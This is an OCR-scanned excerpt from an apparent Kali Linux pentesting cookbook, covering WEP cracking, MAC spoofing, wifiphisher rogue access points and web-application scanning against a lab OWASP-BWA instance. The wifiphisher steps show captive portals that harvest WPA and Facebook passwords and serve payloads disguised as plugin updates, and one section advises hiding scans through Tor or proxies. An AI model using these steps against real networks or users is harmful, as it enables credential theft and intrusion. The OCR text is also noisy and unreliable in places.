| root@kali:~/wireless# airodump-ng --bssid 68:86:A7:1D:6D:83 -w KaliCookbook 8.5 wlanOmon

4. As we found in the previous sections, this will show us devices that are connected
to this network. In this case, we are likely to see a higher number of devices than
normal, as many devices will automatically connect to unauthenticated networks.
Use the macchanger utility to mimic one of these devices to use their authenticated
sessions:

root@kali:~/wireless# ifconfig wlanOmon down
root@kali:~/wirelessi# macchanger -m 7A:DA:38:06:5B:B2 wlanOmon
root@kali:~/wireless# ifconfig wlanOmon up

5. To start cracking the WEP key for the SSID ka1i cuest, let's kick off airodump-ng to
start gathering packets:

| root@kali:~/wireless# airodump-ng -c 11 --bssid 68:86:A7:1D:6D:84 -w KaliCookbook 8.5 wl
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CH 7 ][ Elapsed: 2 mins ][ 2017-88-13 23:53

B55ID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:86:A7:1D:6D:84 -29 387 10 D 11 54e. WEP WEP Kali Guest
BSSID STATION PWR Rate Lost Frames Probe

Gathering information to crack WEP key on guest network

6. As we did in the Cracking WEP Encryption section, we gather enough data packets
to be able to extract the WEP key to get access to the guest network. Refer to
section Cracking WEP Encryption (if WEP is used) or section Cracking
WPA/WPA2 Encryption (if WPA is used) for more detailed steps on gaining access

to these types of networks.
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Rogue AP deployment

In this recipe, we will use wiripnisner to create a rogue, and capture username and
passwords from a captive portal that simulates corporate portals.

Since we have covered creating rogue APs and forcing deauthentications in section
Cracking WEP Encryption (with airodump-ng/aircrack-ng) and Obtaining WPA/WPA2 Keys
(with fluxion), this recipe will focus on the creation of access points that encourage
open use and have the ability to gather credentials or deliver malicious payloads.
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Getting ready

The tool used in this recipe is not included in the base installation of Kali Linux and
must be installed from the command line with the following command:

|root@kali:~/wireless# apt-get install wifiphisher
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How to do it...

To create a rogue access point with wiripnisner, the following process will be used:

1. Once installed, we will launch wifipnisner with the following command that will
disable jamming (-n7) and create a SSID named rree wifi:

| root@kali:~/wireless# wifiphisher -nJ -e 'Corporate’

2. Once executed, you will be asked to make a selection as to the process that will be
in place once a victim connects to our SSID:

Available Phishing Scenarios:

1 - Browser Connection Reset

A browser error message asking for router credentials. Customized accordingly
based on victim's browser.

2 - Firmware Upgrade Page

A router configuration page without logos or brands asking for WPA/WPAZ passw
ord due to a firmware upgrade. Mobile-friendly.

3 - Browser Plugin Update

A generic browser plugin update page that can be used to serve payloads to th
e victims,

[+] Choose the [num] of the scenario you wish to use: ||

wifiphisher phishing options
3. Select Browser connection reset by entering 1 and hitting Enter.

4. We have now created an open wireless SSID that appears as though it is a service
that can be used for many different purposes. In this scenario, when connections
are made to this SSID, the user's browser is automatically redirected to the HTTP
server running on our Kali Linux system and the following page 1s displayed:
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Your connection has been reset

Your router or gateway has reset your connection. You
must re-authenticate to continue browsing.

Router Password: l:l Submit

Captive portal redirect, using the browser redirect template

To add an additional layer of realism to any AP you set up, you can define
the use of a WPA/WPA?2 pre-shared key by adding the following to the
command line: -px uykeyrere. This 1s particularly useful when combining the
oath-login with the PSK of a shared network, like guest networks or
corporate networks where the key is static, but well known.

5. Stop the running wiripnisner se€ssion by pressing CTRL-C, and once it has stopped,
run the following from the command line:

| root@kali:~/wireless# wifiphisher -nJ -e 'Free WiFi' -p oauth-login

Unlike the previous step, we have defined the phishing template from the
command line. Default and customized templates can be called from the
command line, allowing for the generation of automated scripts to kick off

new campaigns.

6. When you connect to this SSID, you will be redirected to a splash page that will
appear to be asking for you to authenticate to this network using your Facebook
credentials:
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Login using Facebook n

Email

Password

Terms of Usage

Gathering facebook credentials with captive portal

7. Again terminating the previous session, we will now demonstrate the next
example, by running the following:

| root@kali:~/wireless# wifiphisher -nJ -e 'Asus' -p firmware-upgrade

8. Running this command will give you the ability to show a screen such as this, that
prompts the user for the WPA password for the network they believe they are
connected to (as opposed to our rogue network):

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Setup ~ Wireless ~ Security ~ Access Restriction Adminisiration - Status ~

I-—. H4aEN ®

Firmware Upgrade

A new version of the ASUS firmware 1.0.12 has been detected and awaiting installation. Please
review the following terms and conditions and proceed.

ESSID: BOB_HOME

Terms And Conditions:

1. LICENSE

Subject to the terms and conditions of this Software License Agreement, ASUS hereby grants you a restricted, limited, non-exclusive, non-
transferable, license to use the ASUS Firmware/Software/Drivers only in conjunction with ASUS products. The ASUS Company does not grant
you any license rights in any patent, copyright or other intellectual property rights owned by or licensed.

[ | Agree With Above Terms And Conditions

WPA2 Pre-Shared Key:

Start Upgrade

Firmware upgrade captive portal example

9. Finally, terminating this session and launching w: riphisner with the following
command will kick off a new SSID that will not only redirect them to our portal,
but also give us the ability to convince the user to download the payload of our
choice, under the guise of a plugin update:

| root@kali:~/wirelessi# wifiphisher -nJ -e 'Guest' -p plugin-update

10. Unlike the other sessions we initiated, the plugin-update template allows us to
define a payload to encourage the user to download and install, posing as an
update for a browser plugin. After being launched, witipnisner will require the path
to the file you wish to define as the payload. Once you have provided that, it will
redirect users to a page that looks very much like this:
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WARNING: Your browser plugins are severely out of date. Update your browser plugins to continue browsing
securely.

Update Your Plugins

Keeping your plugins up to date helps your browser run safely and smoothly.

Plugin Status

Status Action

Plugin

Flash Player .

Flash Player is a lightweight browser plug-in and rich Internet application runtime that delivers Outdated Update Now
consistent and engaging user experiences, stunning audio/video playback, and exciting

gameplay

o Step 1: Click 'Update Now' to download the update file.
o Step 2: Run the update file to update your plugins.

Plugin update phishing portal

Since wiripnisner uses configuration files for its templates, you can create
your own portals as necessary. Review the documentation on the tool's

homepage at https:/wifiphisher.org/.
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Using wireless networks to scan internal
networks

Access to a network is the ultimate goal, and the use of wireless networking means that
this access is likely easier to gain than through remote access/VPN or through physical
access to a network port. Using the recipes in this section, it is highly likely that once
you have gained access to the network, you will have done so with the credentials of an
authorized user. The next question is: where can you go from here?

In this recipe, we will use some of the tools that we have learned in preceding sections
to help identify ways for us to extend the access we have gained so far.
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Getting ready

This recipe is built upon the assumption that you have already gained access to the
target wireless network, and that you have IP connectivity, preferably through DHCP.
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How to do it...

Once connected to a wireless network, you can use the following process to identify
additional targets and vulnerable systems:

1. Based on the IP information you have gained so far, look to see if there are any
discernible patterns in the network address schemes. An example of this is, you
have been i1ssued an IP address in one subnet, but infrastructure services such as
DHCP and DNS reside in different subnets. Those subnets likely contain servers
containing domain user information such as Active Directory (AD),
Lightweight Directory Access Protocol (LDAP), centralized data repositories
such as database servers, application servers, and so on. To view the information
received in DHCP requests do the following:

root@kali:~/wireless# cat /var/lib/dhcp3/dhclient.leases
lease {

interface "wlanOmon";

fixed-address 192.168.56.106;

option subnet-mask 255.255.255.0;

option dhcp-lease-time 86400;

option routers 192.168.56.1;

option dhcp-message-type 5;

option dhcp-server-identifier 192.168.56.10;

option domain-name-servers 192.168.56.10;

option dhcp-renewal-time 43200;

option dhcp-rebinding-time 75600;

option host-name "kalicookbook.local";

renew 0 2017/8/9 05:17:36;

rebind 0 2017/8/9 15:06:37;

expire 0 2017/8/9 18:06:37;

2. Inthe preceding case, you can see that in the client network we received a DHCP
address from the 192.168.56.0/24 network, and DNS and DHCP are located in the
same network. In many cases, the user network and server network would be
separate from each other, and that would have given us two possibilities:

1. The user environment is likely less secure, likely a better target to start in to
gain credentials, and so on.

2. The server environment is on a separate network and could have access
controls in place such as firewalls, access control networks, and so on. Those
controls are likely bound to services used by authenticated users, so
credentials are likely a better place to start.

3. From the command line, run zenmap. The zenmap 1s a graphical frontend to wmap, that
makes the gathering and visualization of results easier. After launching zenmap, enter
the following scan options and start the scan. The results should look similar to the
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following screen:

Scan Tools Profile Help

Target: |192.168.56.0/24 v | Profile: |

Command: |nmap -sT -O 192.168.56.0/24

Hosts | Services Nmap Output ' Ports / Husts_ Topology . Haost Details | Scans

S Host v | |Hosts Viewer|Fisheye| Controls L
[ 192.168.56.1
4 192.168.56.10
- 192.168.56.100 .___E' ri it
7 192.168.56.101 .I‘?! 183.56.100
@ 192.168.56.102

_._.._’_f:liainos:

@Finisesnii
619:.16&.56.1@ W

Network hosts found with zenmap

4. Once complete, click on Hosts Viewer to get a sorted, more detailed view of the
services and applications running on the hosts in this environment. If we select
192.168.56.10 on the left, we can see that is it likely a Windows 2008 domain
controller:

Haosts |General|| Services  Traceroute

192.168.56.101 == e .
192.168.56.102 eneral information |

192.168.56.10 Address:  |[ipvd] 192.168.56.10 | v

192.168.56.100
192.168.56.1

Hostname: |

Last boot: Sun Aug 13 22:33:21 2017 (611 seconds).

¥ Operating System

Used ports: | 53/tcp open v

Match | Class Fingerprint

%  Name
100 - Microsoft Windows Server 2008 R2 or Windows 8.1
100 ' Microsoft Windows Embedded Standard 7
100 - Microsoft Windows Phone 7.5 or 8.0
100 - Microsoft Windows Vista SPO or 5P1, Windows Server 2008 SP1,
i 7 SP1. or Windows Ser'.'.f A

Windows domain controller located with zenmap

5. With a good target located, let's re-open OpenVAS, the vulnerability scanning
platform we set up in Chapter 3, Vulnerability Analysis. Start the OpenVAS server
service from the command line by entering the following:
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| root@kali:~/wireless# openvas-start

6. Open a browser, navigate to the address of your OpenVAS installation, and kick oft
a new scan task:

Quick start: Immediately scan an IP address
IP addeess of hosbhame:
[192.168 56.10 |

The defoult address is eilher your compuier oF your network galeway.
As & short-cul | will do the Folioawing for you:

1. Create a new Target

2. Create a new Task

3. Start this scan task right owey

4. Bwitch the view to relond every 30 seconds =0 you can kean back and watch the scan progress

In {act, you must not lean back. As soon as the scan progress is beyond 1%, you can akesdy jump
into the =can report via the nk in the Repons Total column and review the resulis colected so far.

When creating the Target and Task | will use the defnulis as configured in "My Settings™.
By clicking the New Task icon ksd you can creaie a new Task yourseff.

[Lstart somn |

New OpenVAS task: Quick Scan of 192.168.56.10

7. Once complete, review the results to determine if additional steps are necessary.
For more detailed recipes on using OpenVAS and other vulnerability scanning
tools, refer to Chapter 3, Vulnerability Analysis.
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Web and Database Specific Recipes

In this chapter, we will cover the following topics:

Creating an offline copy of a web application
Scanning for vulnerabilities

Launching website attacks

Scanning WordPress

Hacking WordPress

Performing SQL injection attacks
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Introduction

Evaluating the security of web applications and databases requires a unique set of tools
that can be leveraged against them. Websites and databases are highly targeted
environments due to the amount of visibility they have and the information they contain.
These could be for publicly accessible sites or intranets. In the event that a web
application is compromised, it is highly likely that it may then be used as a jumping off
point for further network penetration.
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Creating an offline copy of a web
application

One of the first things that you should do is create an offline copy of the target site. This
will allow you to analyze the contents of information such as how forms are submitted,
the directory structure of the application, and where files are located. Aside from the
technical details of the site's structure, comments, and inactive code can also give you
an insight into additional areas of interest. This information can be used to cratft site-
specific attacks in subsequent portions of this chapter. By creating an offline copy of the
site in question, you also limit the number of times that you are touching the site,
minimizing the number of records generated in logs, and so on.
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Getting ready

In order to perform an offline copy of a target site, we will need the following:

e Network access to the target system
e BurpSuite free edition (installed by default on Kali Linux)

e OWASP-BWA installed as required in the recipe, Installing OWASP-BWA 1n Chapte
r 1, Installing Kali and the Lab Setup
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How to do it...

To create an offline copy of the analysis, we will use the following recipe:

1. Launch BurpSuite from the Applications | 03 - Web Application Analysis menu:

Applications v

Favorites burpsuite

01 - Information Gathering
. commix

02 - Vulnerability Analysis

- Web Application Analy 3is IS httrack

04 - Database Assess 1\?\‘ owasp-zap

aros
less Attacks P

e Engineering BB  skipfish
loitation Tools _— e
09 - Sniffing & Spoofing -

0 - Post Exploitation webscarab

- Forensics @ wpscan

2 - Reporting Tools

Launching BurpSuite

2. If'this is the first time it is being launched, you will be presented with a license
agreement — please read this before clicking I Accept to continue.

3. Since we are using the free version, we will only be able to use the Temporary
Project option, so click on Next.

4. For the purposes of this demonstration, we will use the BurpSuite defaults. Click
on Start Burp to continue.

The default values for BurpSuite should be changed to something more
appropriate if you are going to use this platform for connections other than
your testing server, as these values are known, and are likely to trigger
intrusion detection systems.

5. Once BurpSuite starts, you will see a number of tabs:
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Burp Suite Free Edition v1.7.21 - Temporary Project @ ® O

Burp Irtruder Repeater Window Help

[ Repeater T Sequencer T Decoder T C omparer T E xtender T Project options T User options T Alerts
Target Proxy T S pider T Scanner T Intruder

Ste map | Scope

| Fiter: Hiding not found tems; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders 2
. . Hast | Methad | URL | Params | Sta... & | Length | MIME type | T|
ELS > Yo

_[ Reguest T Response ]

Rlaw Hex

A
P
-
v
z J = J I + J I = J -_..:— a search term i 0 matches

Initial view of BurpSuite

6. Select the main tab Proxy, and be sure that intercept is off is displayed as follows.
If it 1s enabled, clicking on that link will toggle the status to off:

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T_Scanner T Intruder_T Repeater-]’_ﬁequencer T%

Intercept T HTTP history T WebSockets history T Options ]

Forward Drop Intercept is off Action

Raw Params Headers Hex

Disable Intercept

7. Your browser should next be configured to use BurpSuite as its proxy. To do this,
open Firefox ESR, and navigate to the Preferences | Advanced | Network |
Connections | Settings menu. You will configure your proxy settings as follows:
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Connection Settings [ ]

Configure Proxies to Access the Internet
_ No proxy
(") Auto-detect proxy settings for this network
_) Use system proxy settings

@® Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 Port: | 8080 |*

& Use this proxy server for all protocolsl

[] Remote DNS
No Proxy for:

| localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24
) Automatic proxy configuration URL:

["] Do not prompt for authentication if password is saved

| Help | | Cancel ||_ OK

Browser proxy configuration

8. Once Proxy settings are complete, use Firefox to navigate to the IP address of your
OWASP-BWA instance. From here, navigate through some of the application
options to familiarize yourself with the layout.

Since BurpSuite is running as your browser's proxy, you may see SSL
certificate errors — this is to be expected.

9. Return back to your BurpSuite app, and review the entries in the Proxy | HTTP
history tab. Locate the initial request to your OWASP-BWA instance, and highlight
it. Right-click on this entry, and select Add to scope:
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Burp Intruder Repeater Window Help
[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Pro|
Intercept | HTTP history TWEbSocketj history T Options ]

‘ Filter: Hiding €55, image and general binary content
[# [ Host [ Method | URL 4| Params | Edited
241 http:/f192.168.56.100 GET ! -
214 http://192.168.56.100 GET /WebGed http://192.168.56.100/

244 http://192.168.56.100 GET fanimate| add to scope

249 http://192.168.56.100 GET fghost -

Spider f h

250 hittp://192.168.56.100 GET fghosty | “P'CET IO BETE

243 http:/f192.168.56.100 GET fiquery. i SER ST M At

215 http//192.168.56.100 GET fwebgea{ U0 8 passive scan

216 http://192.168.56.100 GET fwebgoa{ Send to Intruder Ctrl+l
229 http://192.168.56.100 GET /webgoal Send to Repeater Ctrl+R
231 http:/f192.168.56.100 GET fwebgoal send to Sequencer

230 http://192.168.56.100 GET fwebgoa| send to Comparer (request]

232 http://192.168.56.100 GET fwebgoa Send to Comparer (response)

Show response in browser

| Request in browser >
al

You will see different numbers in the first column, as this is generated

Adding OWASP-BWA to target scope

sequentially. Sort on the URL column to locate the ; request. Once

specified as being in scope, BurpSuite will only record the proxy history

for this host.

10. To review the scope configuration, navigate to Target | Scope, select the host entry
for your OWASP-BWA instance, and select Edit. You can see there are several
different options that you can select here, including the use of regular expressions
to help make target selection easier. Since our example is a single host, we will not

change this option and will leave the target port as so:
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Burp Intruder Repeater Window Help

Repeater T Sequencer T Decoder T Comparer T Extender T Project options T_
Target Proxy T Spider T Scanner T_

Site map | Scope T

li.] Target Scope

@ Define the in-scope targets for your current work. This configuration affects the behavior of tocls throughout t
strings. The easiest way to configure scope is to browse to your target and use the context menus in the site

paths.
Include in sCope
[ Add J Enabled | Protocol | Host / IP range | Part | File
— & HTTP ~192\ 168\ 561.100% ~80% ~%
Edit
Em— Edit URL to include in scope [ ]
Paste URL @ Specify a regular expression to match each URL component, or leave blank

= —' to match any item. An IP range can be specified instead of a hostname.

Load ...

Protocal: [ HTTP v] __

Host or IP range: | ™192%. 168\.56%.100%

[l

Add
Part: ~805% -

Edit
File: ~ %
Remove

Paste URL ——————=
- Paste URL [ oK | [ Cancel |

OWASP scope configuration

11. The generation of the offline copy requires certain information prior to use.
Navigate to Spider | Options, and review the available options. We will leave them
as the default for now:
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Burp Intruder Repeater Window Help

Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T_

Target T Proxy T Spider T Scanner T Intruder
(2] Crawler Settings

|ﬁ] These settings control the way the Spider crawls for basic web content.

[ Check robots.txt

[¥] Detect custom "not found" responses
[ lgnore links to non-text content

[#] Request the root of all directories

[ Make a non-parameterized request to each dynamic page

Maxirmum link depth: 5

Maximum parameterized requests per URL: 50

e Spidering

2
lEJ Passive spidering manitors traffic through Burp Proxy to update the site map without making any new requests.

[ Passively spider as you browse

Link depth to associate with Proxy requests: 0

llJ Form Submission

|°J These settings control whether and how the Spider submits HTML forms.

Individuate forms by: |Jﬁ.rftion URL method and fields _‘I’J

(L) Don't submit forms

() Prompt for guidance

BurpSuite spider options

12. You can check on the progress of the analysis by visiting Spider | Control, where
you will see the current status:
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T T T T S T TS T T T T =TT

Burp Intruder Repeater Window Help

Repeater T Sequencer T Decoder I Comparer I Extender

Target T Proxy T Spider
Control | Options

[2] Spider Statu

Use these settings to monitor and contral Burp Spider. To begin spidering, browse
nodes in the target site map. and choose "Spider this host [ branch".

| Spider is running | | Clear queues

Requests made: 5.879
Bytes transferred: 72,619,710
Requests queued: 1,638

Forms gqueued: 769
|? ‘_-b:_i,.;.-...- SCcope
L'EJ ® Use suite scope [defined in Target tab]

() Use custom scope

13. Once the spider starts collecting data, it can be found in the Target | Site map
section of BurpSuite. Here you can see all requests made through the proxy, with
the hosts within the target scope in bold:
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Burp Intruder Repeater Window Help

Repeater T Sequencer T Decoder T Comparer T Extender T

Project options T User options

| alerts

Proxy

? rget

Spider T Scanner Intruder

Site map | Scope

Filter: Hiding not found items; hiding C55, image and general binary content; hiding 4xx responses; hiding empty folders

Ta

¥ | hitp://192.168.56.100 | | Host | Methed | URL | Params | Stat
E J;.l_:dﬂfr'.plu: http:/farchipelago.phras... GET Jrad =]
= [ AppSensorDemao
» [ CSRFGuardTestApp
[ CSRFGuardTestAppVulnerahble
* [ ESAPI-ava-SwingSet-Interactive
» [ ESAPI Swingset
[) MCIR
= [ MCIR
[ OWASP-CSRFGuard-Test-Application. html
[ WackoPicko
» [ WackoPicko Al 7 v
D animatedcollapse.js Reguest HESHHSE-]
» [ awstats
[ bwapp Raw
o - E?d’;'zt HTTP/1.1 304 Not Modified
= Date: Wed, 30 Aug 2017 B83:09:01 GMT
[ cyclone Server: Apaches2.2.14 (Ubuntu) med mono/2.4.3
[J dom-xss-example.html PHP/5.3.2-1lubuntu4.30 with Suhosin-Patch proxy html/3.0.1
D dvwa mod_pythen/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenS5L/0.9.8k
» [0 dvwa Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
[ gallery2 Connection: close
=[O gallery2 ETag: "43feB-2e2e-4alBeBfiebbBn”
[ gethoo Vary: Accept-Encoding
» [ gethoo
[ ghost
= [ ghost
= [ gruyere
[ gtd-php
= [ gtd-php
[ hackxor intro.php |
Site map details of target web application
14. You can now review the contents of, not only the application documents

themselves, but also all requests sent to and received from the server. By
reviewing this, as well as the site map information, you can begin identifying
additional areas of inspection.

You will notice traffic identified by BurpSuite that is not part of the target
scope in the site map. This is due to the fact that all traffic being generated
by the browser is being proxied, and therefore added to the site map. The
non-target hosts are listed but are greyed out — if you want to add
additional hosts to the scope, right-click on the host in question, and select
Add to scope. Once added, the spider will include this host in the

analysis.
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There's more...

The information gathered by BurpSuite spider is extensive and a detailed analysis of all
data gathered would require a book by itself. For more information on how to leverage
this data to a greater level of detail, refer to the PortSwigger site at https:/support.portswigger.

net/.
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Scanning for vulnerabilities

Web applications pose a particular risk to organizations as they are accessible to the
internet, and therefore can be accessed by anyone. If you consider this carefully,
untrusted external entities are being permitted access to applications and systems within
the organization's security perimeter, making them an excellent jumping off point for
further infiltration, once compromised.

We will now move to the next phase of our approach, using OWASP-ZAP, we will scan
the target system for vulnerabilities that can potentially be exploited.

One of the key reasons we perform on an offline copy of a target system is

to better craft your tool's configuration to minimize the noise generated by

the scanning process. With the exceptional focus on security in the industry
8 as a result of high-profile breaches, many corporations are implementing

intrusion detection/prevention measures that would look for the signatures
of attacks against their systems. These systems, if triggered, can prevent
you from any access whatsoever. Use with caution.
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Getting ready

To successfully complete this section, we will need the following;

e Installation and configuration of OWASP-BWA as highlighted in the
recipe, Installing OWASP-BWA in Chapter 1, Installing Kali and the Lab Setup
e Network connectivity between your Kali Linux desktop and the OWASP-BWA

instance
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How to do it...

To execute a vulnerability scan of a target system using OWASP-ZAP, we will perform
the following tasks:

1. From the Kali Linux Applications menu, navigate to Applications | 03 - Web
Application Analysis | owasp-zip to launch the application.

2. Once prompted for the type of session persistence, select persistence based on the
current timestamp:

&N OWASP ZAP@kali x
Do you want te persist the ZAP Session?

(#) ves, | want to persist this session with name based on the current timestamp
() Yes, | want to persist this session but | want te specify the name and location
() Ne, | de not want te persist this sessien at this mement in time

|| Remember my choice and do not ask me again.

Yeu can always change your decision wia the Optiens / Database screen

| Help | | start

Selecting session persistence

3. Inthe upper left, change the scan type from Safe Mode to ATTACK Mode:

File Edit View Analyse Report Tools Qr*@ne Help

(ATTACKMode | |1 2 I 8 g o | U %D

@ sites | + |

Changing OWASP-ZAP script mode

4. Once you have done this, we will enter the IP address of the OWASP-BWA device
into the input field in the Quick Start tab and click Attack. This will start the
scanning process:
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J " Quick Start .d‘T =y Request T Responses= I % ]

Welcome to the OWASP Zed Attack Proxy (ZAP)

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.

Please be aware that you should only attack applications that you have been specifically been given permission to test.

To quickly test an application, enter its URL below and press 'Attack’.

URL to attack: http://192.168.56.100 [ @ Select...
| & Attack |
Progress: Attack complete - see the Alerts tab for details of any issues found

For a more in depth test you should explore your application using your browser or automated regression tests while proxying through Zap.

See the help file for more details.

Initiating OWASP-ZAP scan

5. To monitor the progress of a scan, under the Active Scan tab, click on the icon to
the immediate left of the progress bar:

I N Active Scan & # T 5 Spider Tm
6.100 |v] 11 [ (=] § 6%

th... | URL | Show scan progress details:

; Codé

Launching progress monitor

6. The details of the progression of the scan, as well as the components completed,
can be seen in the pop-up window. This can be left open and on a separate area of
your desktop to monitor progress, as this may take some time to complete:

J P_rqgressT Response Chart ]

Host: | http:/192.168.56.100 |
Plugin | 5trength | Pregress | Elapsed | Reqs | S5t... |
Path Traversal Medium S 25:17.349 13863 W
Remocte File Inclusion Medium  ESSSS ] 08:55.821 3670 b0
Server Side Include Medium o
Cross Site Scripting (Reflected} Medium 0
Cross Site Scripting {Persistent} Medium O
SGL Injectich Medium &)
Server Side Cede Injection Medium O
Remote 35 Cemmand |njecticn Medium 0
CHrectory Browsing Medium 8]
External Redirect Medium o
Buffer Cverflow Medium 0
Fermat String Error Medium 8]
CRLF Injecticn Medium O
Parameter Tampering Medium o
Cross Site Scripting {Persistent} - Pri...  Medium &)
Cross Site Scripting (Persistent} - Sp... Medium 0
Script Active Scan Rules Medium 0
Totals 32:14.720 17727

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

Detailed progress

7. As the scan progresses, you will see the following panes:

ATACKMode |w) | BiM D% 16 005 ODC &/ @P ) OXERE o€ |

@ Sites | 4= j_-’y" Quick Start a?.T = Request T Responses= m

@ B :
v st .| Welcome to the OWASP Zed Attack Pr()
[ M http://192.168.56.100 !
» B ™ ¢ awstats j ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in
» | % bWAPP Please be aware that you should only attack applications that you have been specific
» [ M dvwa
> 5% gallery2 To quickly test an application, enter its URL below and press 'Attack’.

| | P4 GET:' location.href '(name)
| | FU 4 GET:animatedcollapse.js

|| # GET:bWAPP [ 4 attack || M stop

[ GETcyclane Progress: Attack complete - see the Alerts tab for details of any issues found

URL to attack: http://192.168.56.100

| | P % GET:dom-xss-example.html
| | P % GET:dvwa [/
|| 4 GET:favicon.ICO L | | Foramorein depth test you should explore your application using your browser or a%
| | # GET:gallery2 | (@i = I
[ = History I 2, search T [ alerts # T | Qutput T 5 Spider T A Active Scan | 4
@ @ [Remote 05 Command Injection i
- |URL: http://192.168.56.100 koPicki heck.ph fa
v % Alerts (16) A s F“P:}K;L /WackoPicko/passcheck.php
» [ Cross Site Scripting (Reflected) (36) i e Edance: Fiodiam
¥ [ Remote 05 Command Injection Parameter: password
W POST: hitp://192,168.56.100/WackoPicko/passchedl MRt ZAPSsleep 15&
¥ [ SQL Injection Evidence:
| ] POST: http://192.168.56.100/vicnum/cgi-binfjottol | |CWE ID: 78
» [ Application Error Disclosure (27) WASCID: 31
» [ Buffer Overflow (7) Source: Active
» [ Directory Browsing (43) Description:
» [9 Format String Error (7) LU COCHI I U i U G L U ST LI U A B Y Sy G
» FU Session [D in URL Rewrite (243) attack |55055|ble when an application a;ccepts untrustdedtmputl:o l?:mld opt;:ratlng system [‘
2 : commands in an insecure manner invelving improper data sanitization, and/er improper
» [ X-Frame-Options Header Mot Set (723) ¥ :
i = N calling of external programs. Y |y
Alerts 3 fup (L7 Mo CurrentScans 40 &0 21 @0 0 0 Ho|

Scan in progress - OWASP-ZAP

Some additional information on the panes seen in the preceding image:
Upper Left: Site map created during the scan of the target site

Upper Right: The Request and Response tabs show communications
between the scanner and web server

Lower Left: Open the Alerts tab, and you can see the vulnerabilities that
are being discovered

Lower Right: Details of the Alerts selected from the lower left pane

8. In order to save the results as a detailed report, that we can reference at a later
time from the Report menu, select Generate HTML Report, and save it to

/root/Chapter9/owasp-zap.html.
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File Edit Wiew AnalyseIooIs Cnline Help
[ATTACK Mode |7 | | 3 R === lmi=

@ sites Generate XML Report...

Gererate Markdown Report...
@ LB 3 Export Messages to File...
Export Response to File...

Export All URLS to File...

Export Selected URLS to File...
Compare with Ancther Session...

¥ (5 Contexts
[Z] Default Context
v @ Sites
> [P hittp:/192.16

Saving OWASP-ZAP scan results

9. Once saved, open it in Firefox and review the results. We will be using the
information contained in this report in subsequent recipes:

= > P £ il o

i) file://froot/Chapter9/owasp-zap.html ¢ | |Q Search | ¥ & ¥+ & =
ZAP Scanning Report
Summary of Alerts
Risk Level Number of Alerts
High 3
Medium 6
Low T
Informational o
Alert Detail
High (Medium) Cross Site Scripting (Reflected)
Description Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a

user's browser instance. A browser instance can be a standard web browser client, or a browser object
embedded in a software product such as the browser within WinAmp, an RSS reader, or an email
client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript,
ActiveX, Java, Flash, or any other browser-supported technology.

When an attacker gets a user's browser to execute his/her code, the code will run within the security
context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read,
modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could
have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly
shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks
essentially compromise the trust relationship between a user and the web site. Applications utilizing
browser object instances which load content from the file system may execute code under the local
machine zone allowing for system compromise.

There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based.

Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link
laced with malicious code, or visit a malicious web page containing a web form, which when posted to

il A b bloe ctbonl

IS

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

There's more...

Since traffic to and from internet sites is easily traced, you may consider running your
scans through alternate connection paths. Some examples of this are:

e Tor network, using the proxy chains package
e Virtual Private Network (VPN)

e SSH tunneling

e 3rd party VPN services
e Anonymizing proxies

Each of these come with their own benefits and risks, so consider the best balance of
performance, ease of use, and accuracy of results when considering one of these
options.
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Launching website attacks

As mentioned in the previous sections, web servers represent a network device that
resides on both the internal and external networks and can be used as a pathway to
internal segments if successfully compromised. In addition to being a jumping off point
to the internal network, web applications frequently handle sensitive data such as
customer data, payment information, or medical records — all of which are valuable.

Focusing on the web applications themselves, we will use Vega to perform a deeper
analysis on the install applications to identify possible opportunities.

We will be focusing on the web applications specifically since we cover
0 platform and daemon vulnerabilities in Chapter 3, Vulnerability Analysis
and Chapter 4, Finding Exploits in the Target.
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Getting ready

To successfully complete this section, we will need the following;

e Installation and configuration of OWASP-BWA as highlighted in the recipe
Installing OWASP-BWA in Chapter 1, Installing Kali and the Lab Setup

e Network connectivity between your Kali Linux desktop and the OWASP-BWA
instance

e Installation of Vega from the command line as follows:

| root@kali:~/Chapter9#apt-get install vega
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How to do it...

In this recipe, we will do the following;

1. From the command line, launch Vega, and add our OWASP-BWA instance as a new
scan. When presented with the options dialog box, select all available checks, and
start the scan.

2. As the scan progresses, we will see more alerts generated in the Vega interface:

& Website View| ® 2 FET E|| @ Scan Inf0| =
» @ 192.168.56.100 -

Scan Alert Summary

© 09/01/2017 04:53:23 [Auditing] (960)

v € hitp://192.168.56.100 (960) @ High (83 found)
v @ High (83) Session Cookie Without Secure Flag
» 2 Cleartext Password over HTTP (34) Session Cookie Without HitpOnly Flag 5
» = Cross-Site Script Include (24) SIS Al SR luge =
) o Cleartext Password over HTTP 34
» = Cross Site Scripting (6) Cross Site Scripting 6
» = Page Fingerprint Differential Detected - Possible XPath Inje Page Fingerprint Differential Detected - 5
» = Possible Social Insurance Number Detected (2) Possible XPath Injection

Possible Social Security Number Detected

= Possible Social Security Number Detected (null)
Possible Social Insurance Number Detected

= = Session Cookie Without HttpOnly Flag (5)

= oM

SQL Injection
» = Session Cookie Without Secure Flag (6) Shell Injection
= Shell Injection (/tikiwiki/tiki-login.php) © Medium (24 found)
oun
v =2 SQL Injection (2)
HTTP Trace Support Detected 1
% http://192.168.56.100/getboo/comment.php Local Filesystem Paths Found 14
% http://192.168.56.100/getboo/redirect.php Possible Source Code Disclosure 8
